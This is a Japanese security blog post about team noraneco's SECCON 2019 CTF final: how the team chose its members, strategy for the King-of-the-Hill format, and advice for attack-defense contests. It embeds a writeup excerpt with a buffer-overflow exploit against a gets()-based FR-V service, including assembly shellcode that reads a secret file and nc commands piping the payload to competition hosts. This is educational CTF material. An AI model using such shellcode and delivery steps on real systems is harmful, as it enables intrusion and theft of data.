Japan
サイト内の現在位置
SECCON Final(CTFの攻防戦)について
NECセキュリティブログ2020年1月17日
あけましておめでとうございます。
NEC サイバーセキュリティ戦略本部セキュリティ技術センターの木津です。
2019年のCTF(*1) Playerとしての活動が終わり、現在、チームnoraneco(*2)として2019年に参加したCTFの大会(全部で94大会)の総まとめをしているところです。そういえば、12/21,12/22に参加しました SECCON 2019 国際決勝の話を、どこにも記載していませんでしたので書いてみようと思います。Writeupを掲載するタイミングからは時間が経ちすぎましたので、次のような観点で書いてみます。
- SECCON Finalの出題傾向とチーム編成
- 競技形式King of the Hill対策
- CTF Finalや攻防戦の対策
- *1:情報セキュリティの技術力を競う競技"CTF(Capture The Flag)"のこと
- *2:2013年に立ち上げたCTFの社会人チーム
CTFtime のnoraneco のチームページhttps://ctftime.org/team/12750
SECCON Finalの出題傾向とチーム編成
決勝に出場できるメンバは4名だけですので、毎回チーム編成に悩んでいます。
チームnoranecoでは過去に出場したSECCON Finalの出題ジャンル/出題傾向を整理した結果を参考に、決勝メンバ4名を決めました。参考までに、独自に整理してみた結果を以下に記載します。
SECCON Final 問題ジャンル別出題件数(出題傾向)の整理結果
問題ジャンル | 2013年(件) | 2014年(件) | 2017年(件) | 2018年(件) |
---|---|---|---|---|
Web | 3 | 2 | 1 | 0 |
Pwn(*3) | 2 | 2 | 0 | 0 |
Reversing | 0 | 0 | 2 | 2 |
Crypto | 1 | 1 | 1 | 1 |
Ppc(*4) | 0 | 0 | 1 | 3 |
Network | 0 | 1 | 1 | 0 |
Misc | 0 | 0 | 0 | 1 |
- *3システムの脆弱性をついてリモート端末の制御権を奪取し、フラグを得る類の問題のこと。オンラインゲームのユーザが"own"をミスタイプしたことからpwn という言葉が生まれ、「勝つ」や「打ち負かす」といった意味のスラングとして定着したとのこと
- *4問題を解くためにプログラムをチューニングしていかないとフラグがとれないような問題。競技プログラミング的なジャンル。
複数ジャンルにまたがって出題されるケースもあります。2つのジャンルにまたがる問題の場合は1つの問題で2件(各ジャンル1件ずつ)でカウントしました。
少し整理してみた結果、Web,Pwn/Reversing,Crypto,PpcあたりがFinalで出題される可能性が高そうということが見えてきました。
上記を参考に、2019年は次のようなメッセージをチームメンバに通知して決勝メンバ4名を決めました。
例: 決勝メンバ選出方法の通知文の概要
SECCON予選を含め、今後のCTF世界戦での点数獲得率(*5)の合計値で、決勝メンバを選出します。決勝メンバ届け出の締め切り日(11月中旬くらい)までの世界大会を対象として点数獲得率を計算していく予定です。
4つのカテゴリpwn,rev,crypto,web で、それぞれ点数獲得率を加算していき、各カテゴリで点数獲得率の大きいメンバを1名ずつ選出します。
- *5:点数獲得率 = 個人の獲得した点数 / 1位のチームの獲得点数 * 100(%)
獲得した点数が1000点で、1位のチームの獲得点数が5000点の場合、点数獲得率は20.0。試合毎に点数獲得率を計算していき、点数獲得率の合計値の高かった人が本戦の出場権を得る。
Ppc/Network/Miscは各ジャンルを得意とするコアメンバであれば解けるはずという見解で外しました。
この方法で決めたのには2つ理由があります。一つはチーム内でのメンバ選出でもめないようにすること。もうひとつは、チーム内の決勝メンバ選出期間中、チームメンバ(決勝に出たいメンバ)のやる気が変わってくるという点です。
出場してポイントを稼がないと決勝に出場できないということもあり、週末のCTFの参加メンバが増えて、この期間のCTFは盛り上がってたのしいです。社会人チーム特有というわけではありませんが、社会人チームの大きな課題として「平日仕事で疲れているので週末は休みたい。週末CTFの参加メンバが極めて少ない」といった課題があるのですが、色々チーム内でやり方を考えてみるとモチベーションアップできておもしろいかもしれません。
競技形式King of the Hill対策
King of the Hillと書きましたが、一言で表現すると、Attack Point とDefense Pointの合計ポイントを競う攻防戦形式のCTFです。図にすると次のようなイメージです。
先にDefense Pointを書きこめたチームが競技を優位に進められ、妨害などにより他チームの書き込みを妨害できたりします。先に丘に登れたものが優位に進められるといったことからKing of the Hillという名称がついたのだと推測しています。
2019年は問題サーバが全部で6つで、6つのサーバの内、Defense Pointの対象となるサーバが5つでした。Attack Pointは各100点で、全部と解けると1800ポイント取れるようになっていました。
Attack Pointは1問あたり100ポイントですので、稼いだAttack Pointは少なくても、Defense Pointの対象となるサーバを1つでも抑えることができれば5位以内に入れる可能性があるという配点になっていました。2013年からAttack Point/ Defense Pointの名称は変わりましたが、Defense Pointが極めて重要になってくるのは昔から変化していません。
優先度付けのため、Defense Pointはもう少し細かく、次のような観点で分類していった方がよいと考えています。
例
a. Attack Pointの問題を解かないとDefense Pointが取れない問題
b. Attack Pointの問題を解かなくてもDefense Pointが取れる問題
x. Defense Pointを取れるのは1チームのみ。早いもの勝ちで競技の最初から最後までDefense Pointを占有できる問題
y. Defense Pointを取れるのは1チームのみ。競技の最初から最後までDefense Pointを占有できない問題。後半で挽回することも可能な問題(例えばSECCON Final 2019 サーバ四)
z. Defense Pointを取れるのが1チームのみではなく複数チームで分配される問題
勝つためには、aよりもbを優先すべきと考えています。
前述の通り、先にDefense Pointを占有できた方が他チームと比べて優位に立てるからです。
Attack Pointは後から(例えば2日目朝一)でも回収できる可能性が高いため優先度は落として考えたほうがよいと考えています。
x,y,zについては、解けそうな場合はx優先と考えています。yとzは後からでも得点できる可能性があるためです。
上記のような分類に関する情報は問題文には記載されていません。
問題文からある程度推測は可能ですが、問題を解き進めないと見えてこないことが多いです。このあたりがKing of the Hillのおもしろいところと考えています。
後からDefense Pointの占有を取り返せるような問題が多い方が競技がおもしろくなりますが、他チームに先を越されて手詰まりとなる問題も必ず出題されるというイメージがあります。
上記のような分類/優先度付けに関する失敗事例として、SECCON Final 2019 サーバ参の問題をチーム内の勉強会で共有しました。参考までに少し記載してみたいと思います。 「あぁ、それやったら駄目だよね」 と反面教師にしていただければと思います。
サーバ参の問題は概ね次のような内容でした(認識間違っていた場合はすみません)。
Attack Point(4 flags, 400ポイント)
- サーバは全部で23個。それぞれプログラムの脆弱性を利用して、サーバ上の秘密情報(word.txt)を参照する
- 各サーバはそれぞれ次のCPUアーキテクチャ上で動作する
ARM,MIPS,PowerPC,Aarch64,V850,FR-V,MicroBlaze,SH64,MIPS64,H8,Moxie,M32C,MN10300,MSP430,CRIS,CR16,M32R,SH,Thumb,Blackfin,RX,MIPS16,M.CORE - 23個のサーバの内、4つのサーバのみにflag文字列が格納されている。19個はダミーフラグが格納されている
Defense Point(5分毎にMAX 20ポイント獲得可能)
- サーバはAttack Pointと同じ。リモートサーバ上の秘密情報(password.txtとkey.bin)を脆弱性を利用して読み込むエクスプロイトを書いて、password.txtとkey.binの内容をxorして復号。復号したデータとディフェンスキーワードをフラグサーバに指定フォーマットで投入すると加点される
- サーバに送信できるメッセージ(エクスプロイトコード)のサイズに上限があり、サイズ上限はトップチームの投げたメッセージのサイズに応じて、小さく制限されていく。
- password.txtとkey.binの内容は接続の度に変えられる
出題されたCPUアーキテクチャは全部で23種類。次のようなタイミングでサービスが公開されました。
(10:42:37) Open new architecture. (ARM)
(10:42:48) Open new architecture. (MIPS)
(10:43:00) Open new architecture. (PowerPC)
(10:43:12) Open new architecture. (AArch64)
(10:43:25) Open new architecture. (V850)
(11:08:40) Open new architecture. (FR-V)
(11:18:46) Open new architecture. (MicroBlaze)
(11:28:51) Open new architecture. (SH64)
(11:38:57) Open new architecture. (MIPS64)
(11:49:04) Open new architecture. (H8)
(11:59:11) Open new architecture. (Moxie)
(12:09:19) Open new architecture. (M32C)
(12:19:28) Open new architecture. (MN10300)
(12:29:37) Open new architecture. (MSP430)
(12:39:48) Open new architecture. (CRIS)
(12:49:59) Open new architecture. (CR16)
(13:00:09) Open new architecture. (M32R)
(13:10:21) Open new architecture. (SH)
(13:20:22) Open new architecture. (Thumb)
(13:30:24) Open new architecture. (Blackfin)
(13:40:28) Open new architecture. (RX)
(13:50:32) Open new architecture. (MIPS16)
(14:00:37) Open new architecture. (M.CORE)
サーバ参は初日から海外勢がDefense Pointをとっていたようでしたので、優先度を下げてAttack Pointを以下のような感じで解いていました。
サーバ参の攻略方法概要 <noranecoのチーム内 writeupより抜粋>
=== writeup ここから === どのCPUアーキテクチャのサービスも概ねデバッガの動作する環境およびクロスコンパイルできる環境を構築した後、次のような方法で攻略できた。 FR-V(10.2.3.1:10005) を例として以下に記載する 問題文などからサービスはgdbのシミュレータ上で動作していることが分かった。 はじめにデバッガで動作の詳細を確認する $ /usr/local/cross/bin/frv-elf-gdb -q frv-elf.x (gdb) target sim★gdbのシミュレータ起動 Connected to the simulator. (gdb) load Loading section .text, size 0x340 lma 0x1400 Loading section .rodata, size 0x40 lma 0x1740 Loading section .data, size 0x4 lma 0x1800 Start address 0x1400 Transfer rate: 7200 bits in <1 sec. (gdb) start (gdb) c Continuing. This is frv-elf server. Input name: AAAABBBBCCCCDDDD OK. Your name: AAAABBBBCCCCDDDD [Inferior 1 (process 42000) exited normally] (gdb) disas main Dump of assembler code for function main: 0x000016f0 <+0>: addi sp,-272,sp 0x000016f4 <+4>: sti fp,@(sp,256) 0x000016f8 <+8>: addi sp,256,fp 0x000016fc <+12>: movsg lr,gr5 0x00001700 <+16>: sti gr5,@(fp,8) 0x00001704 <+20>: call 0x1470 <__main> 0x00001708 <+24>: addi fp,-256,gr8 0x0000170c <+28>: setlos 0x10,gr9 0x00001710 <+32>: call 0x1640 <ready> 0x00001714 <+36>: subicc gr8,0,gr0,icc0 0x00001718 <+40>: bn icc0,0x0,0x1728 <main+56> 0x0000171c <+44>: call 0x1680 <proc> 0x00001720 <+48>: setlos lo(0x0),gr8 0x00001724 <+52>: bra 0x172c <main+60> 0x00001728 <+56>: setlos 0x1,gr8 0x0000172c <+60>: ldi @(fp,8),gr5 0x00001730 <+64>: ld @(fp,gr0),fp 0x00001734 <+68>: addi sp,272,sp 0x00001738 <+72>: jmpl @(gr5,gr0) End of assembler dump. (gdb) disas proc Dump of assembler code for function proc: 0x00001680 <+0>: addi sp,-32,sp 0x00001684 <+4>: sti fp,@(sp,16) 0x00001688 <+8>: addi sp,16,fp 0x0000168c <+12>: movsg lr,gr5 0x00001690 <+16>: sti gr5,@(fp,8) 0x00001694 <+20>: sethi hi(0x0),gr8 0x00001698 <+24>: setlo 0x175c,gr8 0x0000169c <+28>: call 0x15e0 <puts> 0x000016a0 <+32>: addi fp,-16,gr8 0x000016a4 <+36>: call 0x1570 <gets> 0x000016a8 <+40>: sethi hi(0x0),gr8 0x000016ac <+44>: setlo 0x176c,gr8 0x000016b0 <+48>: call 0x15e0 <puts> 0x000016b4 <+52>: addi fp,-16,gr8 0x000016b8 <+56>: call 0x15e0 <puts> 0x000016bc <+60>: sethi hi(0x0),gr8 0x000016c0 <+64>: setlo 0x177c,gr8 0x000016c4 <+68>: call 0x15e0 <puts> 0x000016c8 <+72>: setlos lo(0x0),gr8 0x000016cc <+76>: call 0x1460 <__close> 0x000016d0 <+80>: setlos lo(0x0),gr8 0x000016d4 <+84>: ldi @(fp,8),gr5 0x000016d8 <+88>: ld @(fp,gr0),fp 0x000016dc <+92>: addi sp,32,sp 0x000016e0 <+96>: jmpl @(gr5,gr0) (gdb) b *0x16e0 Breakpoint 2 at 0x16e0: file frv-elf.c, line 222. (gdb) start (gdb) c Breakpoint 2, 0x000016e0 in proc () at frv-elf.c:222 (gdb) i r gr0 0x0 0 gr1 0x1b00 6912 gr2 0x1c00 7168 gr3 0x0 0 gr4 0xa 10 gr5 0x1720 5920★ gr6 0x0 0 gr7 0x3 3 gr8 0x0 0 gr9 0x0 0 gr10 0x0 0 gr11 0x0 0 gr12 0x0 0 gr13 0x0 0 gr14 0x0 0 gr15 0x0 0 gr16 0x1800 6144 (snip) pc 0x16e0 5856 psr 0x1000107e 268439678 ccr 0x40000 262144 cccr 0x0 0 tbr 0x0 0 brr 0x0 0 dbar0 0x0 0 dbar1 0x0 0 dbar2 0x0 0 dbar3 0x0 0 lr 0x16d0 5840 lcr 0x0 0 iacc0h 0x0 0 iacc0l 0x0 0 fsr0 0x800000 8388608 (gdb) x/32wx $sp 0x1b00: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b10: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b20: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/32wx $sp-0x30 0x1ad0: 0x00001af0 0x00000000 0x000016c8 0x00000000 0x1ae0: 0x41414141 0x42424242 0x43434343 0x44444444★入力バッファの先頭は0x1ae0 0x1af0: 0x00001c00 0x00000000 0x00001720★ 0x00000000★入力バッファの先頭からリターンアドレスまでのオフセットは0x18 0x1b00: 0x00000000 0x00000000 0x00000000 0x00000000★シェルコードの配置は0x1b00からでよい アセンブラを使って投入するデータ(シェルコード)を生成する $ vi frv-elf.S $ cat frv-elf.S #define SYS_exit 1 #define SYS_open 2 #define SYS_close 3 #define SYS_read 4 #define SYS_write 5 #define TRAP_SYSCALL 0 .org 0x1ae0 .section .text .globl _start .type _start, @function _start: _fname: .string "word.txt" .byte 0 .byte 0 .byte 0 .long 0 .long 0 .long 0 .long 0x1b00 .long 0 1: __open: sethi #hi(0), gr8 setlo #lo(_fname), gr8 setlos 0, gr9 setlos SYS_open, gr7 tira gr0, TRAP_SYSCALL nop nop nop __read: sethi #hi(0), gr9 setlo #lo(_buffer), gr9 setlos 16, gr10 nop setlos SYS_read, gr7;★system call番号はgr7、戻り値はgr8、第一引数はgr8, 第二引数はgr9 (2バイトずつ分けてアドレスを格納する) tira gr0, TRAP_SYSCALL nop nop __write: setlos 1, gr8 sethi #hi(0), gr9 setlo #lo(_buffer), gr9 setlos 16, gr10 setlos SYS_write, gr7 tira gr0, TRAP_SYSCALL nop nop __exit: setlos 0, gr8 setlos SYS_exit, gr7 tira gr0, TRAP_SYSCALL nop _buffer: .string "\n" ; ; __END__ 例えば、以下のような方法で投入するデータを生成した $ LD_LIBRARY_PATH=/opt/ctf/tools/cross2-gcc494/lib/:$LD_LIBRARY_PATH frv-elf-gcc \ -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.oo -c frv-elf.S $ frv-elf-gcc -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.x frv-elf.oo $ frv-elf-objcopy -O binary frv-elf.x frv-elf.dat $ dd if=frv-elf.dat of=frv-elf.dat2 bs=1 count=1000 skip=$((0x1ae0)) $ xxd -g 1 frv-elf.dat2 00000000: 77 6f 72 64 2e 74 78 74 00 00 00 00 00 00 00 00 word.txt........ 00000010: 00 00 00 00 00 00 00 00 00 00 1b 00 00 00 00 00 ................ 00000020: 90 f8 00 00 90 f4 1a e0 92 fc 00 00 8e fc 00 02 ................ 00000030: c0 70 00 00 80 88 00 00 80 88 00 00 80 88 00 00 .p.............. 00000040: 92 f8 00 00 92 f4 1b 70 94 fc 00 20 80 88 00 00 .......p... .... 00000050: 8e fc 00 04 c0 70 00 00 80 88 00 00 80 88 00 00 .....p.......... 00000060: 90 fc 00 01 92 f8 00 00 92 f4 1b 70 94 fc 00 20 ...........p... 00000070: 8e fc 00 05 c0 70 00 00 80 88 00 00 80 88 00 00 .....p.......... 00000080: 90 fc 00 00 8e fc 00 01 c0 70 00 00 80 88 00 00 .........p...... 00000090: 0a . ローカルホストで検証してみる サーバを起動する $ pushd . $ cd bof-server/cross $ echo FLAG_GGGGGGGGGGGGGGGGGGGGGGG >word.txt $ popd $(cd ./bof-server/cross/; ../../bof-sample/src/sinetd/sinetd -h 127.0.0.1 10000 /opt/ctf/tools/cross2-gcc494/bin/frv-elf-run frv-elf.x) $ ps auxww | grep frv $ strace -f -p ${PID} 攻撃コードを投入してフラグを参照する $ cat frv-elf.dat2 | nc localhost 10000 This is frv-elf server. Input name: OK. Your name: word.txt FLAG_GGGGGGGGGGG★成功 攻撃コードを微調整する。読み込みサイズと書きこみサイズを調整して再度検証する $ cp frv-elf.S{,.org} $ vi frv-elf.S $ diff frv-elf.S{.org,} 41c41 < setlos 16, gr10 --- > setlos 32, gr10 52c52 < setlos 16, gr10 --- > setlos 32, gr10 $ LD_LIBRARY_PATH=/opt/ctf/tools/cross2-gcc494/lib/:$LD_LIBRARY_PATH frv-elf-gcc \ -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.oo -c frv-elf.S $ frv-elf-gcc -fno-builtin -nostdinc -nostdlib -static -O -Wall -g -o frv-elf.x frv-elf.oo $ frv-elf-objcopy -O binary frv-elf.x frv-elf.dat $ dd if=frv-elf.dat of=frv-elf.dat2 bs=1 count=1000 skip=$((0x1ae0)) $ cat frv-elf.dat2 | nc localhost 10000 This is frv-elf server. Input name: OK. Your name: word.txt FLAG_GGGGGGGGGGGGGGGGGGGGGGG サーバ側straceの結果を確認する [pid 19209] open("word.txt", O_RDONLY) = 3 [pid 19209] read(3, "FLAG_GGGGGGGGGGGGGGGGGGGGGGG\n", 32) = 29 [pid 19209] write(1, "FLAG_GGGGGGGGGGGGGGGGGGGGGGG\n\0\0\0", 32) = 32 リモートサーバを攻略する $ (cat frv-elf.dat2; cat -) | nc 10.2.3.1 10005 This is frv-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD★ダミーフラグ... 上記のようにパッチをあてていない素のgdbのシミュレータで動こすことができるケースについてはなんとかなった。動かないものが難しかった。ローカルとリモートではスタックの配置も異なっているようで攻略しきれなかった 少しずつ解けてきて、よし軌道にのったと思い、全力投入していったが… $ (cat frv-elf.dat2; cat -) | nc 10.2.3.1 10005 This is frv-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD★ダミーフラグ... $ (cat v850-elf.dat2; cat -) | nc 10.2.3.1 10004 This is v850-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p h8300-elf.txt; cat -) | nc 10.2.3.1 10009 This is h8300-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p m32c-elf.txt ; cat -)| nc 10.2.3.1 10011 This is m32c-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p mn10300-elf.txt; cat -) | nc 10.2.3.1 10012 This is mn10300-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p m32r-elf.txt ; cat -)| nc 10.2.3.1 10016 This is m32r-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p sh-elf.txt ; cat - ) | nc 10.2.3.1 10017 This is sh-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p sh64-elf.txt ; cat - ) | nc 10.2.3.1 10007 This is sh-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD $ (xxd -r -p powerpc-elf.txt; cat - ) | nc 10.2.3.1 10002 This is powerpc-elf server. Input name: OK. Your name: 8D ★取りこぼしただけで今思えば解けていたのかも... $ (xxd -r -p cris-elf.txt ; cat -) | nc 10.2.3.1 10014 This is cris-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYWORD # (xxd -r -p bfin-elf.txt ; cat -)| nc 10.2.3.1 10019 This is bfin-elf server. Input name: OK. Your name: word.txt BAD LUCK NO KEYW まさかの解けた問題すべてがダミーフラグという結果! orz このあたりで変なスイッチが入り。サーバ参の残りサービス(Attack Pointの問題)を攻略するために多くの時間を浪費してしまった。結局Attack Pointは取れなかった。 === writeup ここまで ===
あとからですが、1日目からサーバ参のDefense Pointやサーバ四のDefense Pointに集中していればと、後悔しました。競技時間は12時間で短めですので、このようにリソース配分、優先度の方針を誤ると後で後悔することになります。
特に重要なのは、Defense Pointを如何に早く占有するかです。
チーム内で情報共有しつつ、チームの方針を臨機応変どう変えていくかが重要になってくると再認識しました。
競技終了後に確認できたことですが、素のgdbのシミュレータでは実行ファイルが動かなかったARM,AArch64,MIPS,PowerPCのサービスを攻略するとFlagが取得できたとのことです。攻略方法をもう少し工夫する必要があったようです。
CTF Finalや攻防戦の対策
難しいですが少しだけ書いてみます。
Finalのwriteup(*6)やFinalの競技形式でよく採用されているAttack-Defense形式の大会のwriteupが公開されることは少ないため難しいのですが、SECCONについてはwriteupが公開されることが多いようですのでSECCONのwriteupを探して学習していくという手が一つありそうです。
- *6:他チーム/個人が解けた問題の解法を整理して、インターネット上に公開している情報
SECCON以外でCTFのFinalの出題内容やAttack-Defense形式の大会のwriteupが公開されたケースとしては以下などがあります。
SECCON Final以外で出題内容および問題の解き方が公開されたCTF FinalやAttack-Defense形式の大会の例:
+ PHDays+VII+CTF
https://github.com/HackerDom/phdctf-2017/tree/master/writeups
+ codeblue-2018
https://github.com/codeblue-ctf/codeblue-2018/blob/master/result-ja.md
+ RuCTFE 2019
https://ctftime.org/event/906/tasks/
+ CInsects CTF 2019
https://ctftime.org/event/816/tasks/
+ ENOWARS 3
https://ctftime.org/event/828/tasks/
+ FAUST CTF 2019
https://ctftime.org/event/776/tasks/
+ RuCTF Finals 2019
https://ctftime.org/event/734/tasks/
公開されている情報が少なく、探してもなかなか出てきませんが、CTFのFinalで上位に入るにはJeopardy 形式(クイズ形式)の大会だけでなく、Attack-Defense形式(攻防戦形式)の大会にも参加して経験を積む必要があると考えています。基本はCTFのFinalもJeopardy形式の延長というイメージですが、のんびりマイペースでJeopardy形式だけやっていてもスピードを身につけるのは難しいです。オフラインの大会などにも出ながら実戦経験を積んでスピード勝負に慣れていく必要があると考えています。
Attack-Defense形式については、パケットキャプチャと問題回収が重要です。
パケットキャプチャと書きましたが、他チームからの攻撃パケットは基本平文で流れてきますので、パケットキャプチャしておくと後からふりかえりが可能で、学習目的・研究目的などで収集データが使えるようになります。
もう一つ問題回収と書きましたが、競技開始前に配布されるVMイメージのみでは不十分です。競技開始以降、運営からフラグが各チームのVMに一定間隔で格納されていきます。このフラグが格納された状態でかつ、一定時間経過して各サービスのログが出力された状態のVMイメージを回収するのが重要と考えています。パケットキャプチャしたデータを付き合わせてじっくり見てみると攻略方法/防御方法をイメージできるようになります。
上記2つをセットにしてチーム内で共有しておくと、学習が捗ると思います。
Attack-Defense形式の大会を1回経験すると、どこを自動化して効率UPしていていく必要があるのか、どのような方法でどこをモニタリングしたらよいか、どういう優先度で対応したらよいか、どのような事前準備が必要か、どのように攻撃を防御したらよいのか、などが見えてくると思います。
まとめ
SECCON Finalに関するチームnoranecoの取り組みや思っていることを可能な範囲で書いてみました。
あと、参のwriteupらしきものが見当たりませんでしたので書いてみました。
少しでも参考にしていただけるような情報がありましたら幸いです。
今年もSECCONのオンライン予選から決勝までチームメンバと色々楽しむことができました。SECCON運営のみなさま、楽しいイベントの開催ありがとうございました。
来年も是非継続していただきたいと思っています。1位をとれず悔しい思いをしたので、来年も予選を突破して再チャレンジしたいと思っています。
現在、2019年のPwnジャンルの問題をふりかえりながら一つ一つタグ付け作業やおもしろかった問題のピックアップなどを行っています。
2019年も心が折れそうなくらい問題数が多く、今回の掲載には間に合いませんでしたが、地道に整理作業を続けてアウトプットはどこかで共有したいと思います。
以上です。
執筆者プロフィール
木津 由也(きづ よしや)
セキュリティ技術センター リスクハンティングチーム
主にネットワークセキュリティ製品・サービスの開発に従事してきたが、最近はCTFに取り組んできた経験を活かし、ペネトレーションテスト、脆弱性診断などの領域にも仕事の範囲を拡大中。
2013年にnoraneco という社会人CTF チームを立ち上げ、現在は主にPwn/Reversing 問を担当。
SANS - Cyber Defense NetWars 2019.10 1位(Team)
SECCON 2019 国際決勝5位
執筆者の他の記事を読む
アクセスランキング